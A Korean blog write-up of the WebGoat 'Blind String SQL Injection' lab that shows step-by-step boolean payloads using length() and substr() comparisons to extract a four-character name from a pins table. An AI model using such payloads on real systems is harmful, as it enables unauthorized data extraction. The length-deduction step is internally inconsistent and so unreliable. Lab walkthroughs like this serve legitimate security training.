본문 바로가기

[Wargame Write-up]/WebGoat

[WebGoat] [Injection Flaws] Blind String SQL Injection

이번에는 문자열을 알아내기 위한 Blind SQL Injection을 학습할 수 있는 문제이다.




우선 길이를 알아보기 위해 아래의 쿼리를 던졌다.


원래 table명, column명 모두 모르는 상황에서 하게 되는데, 그땐 MySQL 기준으로 information_schema를 대상으로 쿼리를 던지게 된다.


이 문제에는 그러한 정보들이 모두 주어져 있으므로, 그럴 필요는 없다.


101 and length(select name from pins where cc_number='4321432143214321') > 4;



우리가 구하려는 문자열의 길이가 4보다는 크고




101 and length(select name from pins where cc_number='4321432143214321') > 3;


3보다는 작은, 3 < length(Account Number) <= 4의 부등식을 만족한다.


즉, 길이가 4임을 알 수 있다.




이제 4자리 문자열의 각 문자를, 하나하나 알아가야 한다.


아래 쿼리는 Account Number의 첫번째 글자의 ASCII Code가 'A'보다 큰지 질의하는 문장이다.


101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) > 'A';


결과를 보니, 첫 글자는 'A' 보단 다음에 있는 글자인 모양이다.




그렇게 계속 하다가, 다음과 같은 상황이 온다.


101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) > 'I';


첫 글자가 'I' 보다 크고




101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) > 'J';


'J' 보단 작다. 즉, 첫 글자는 'J'임을 알 수 있다.




2번째 글자를 대상으로 진행하면, 아래와 같은 상황이 온다.


101 and substr((select name from pins where cc_number='4321432143214321'), 2, 1) > 'h';


2번째 글자가 'h'보단 크고




101 and substr((select name from pins where cc_number='4321432143214321'), 2, 1) > 'i';


'i'보단 작거나 같으므로, 2번째 글자는 i가 된다.




101 and substr((select name from pins where cc_number='4321432143214321'), 3, 1) > 'k';


3번째 글자는 'k'보단 크고




101 and substr((select name from pins where cc_number='4321432143214321'), 3, 1) > 'l';


'l'보단 작거나 같으므로, 3번째 글자는 'l'




101 and substr((select name from pins where cc_number='4321432143214321'), 4, 1) > 'k';


4번째 글자 역시, 'k'보다 크며




101 and substr((select name from pins where cc_number='4321432143214321'), 4, 1) > 'l';


'l'보단 작거나 같으므로, 4번째 글자는 'l'이 된다.


노가다 끝에 4글자를 모두 추출해냈다.


이런 이유로, Blind SQL Injection 공격 시 대부분 프로그래밍을 통해 자동화한다.




Clear~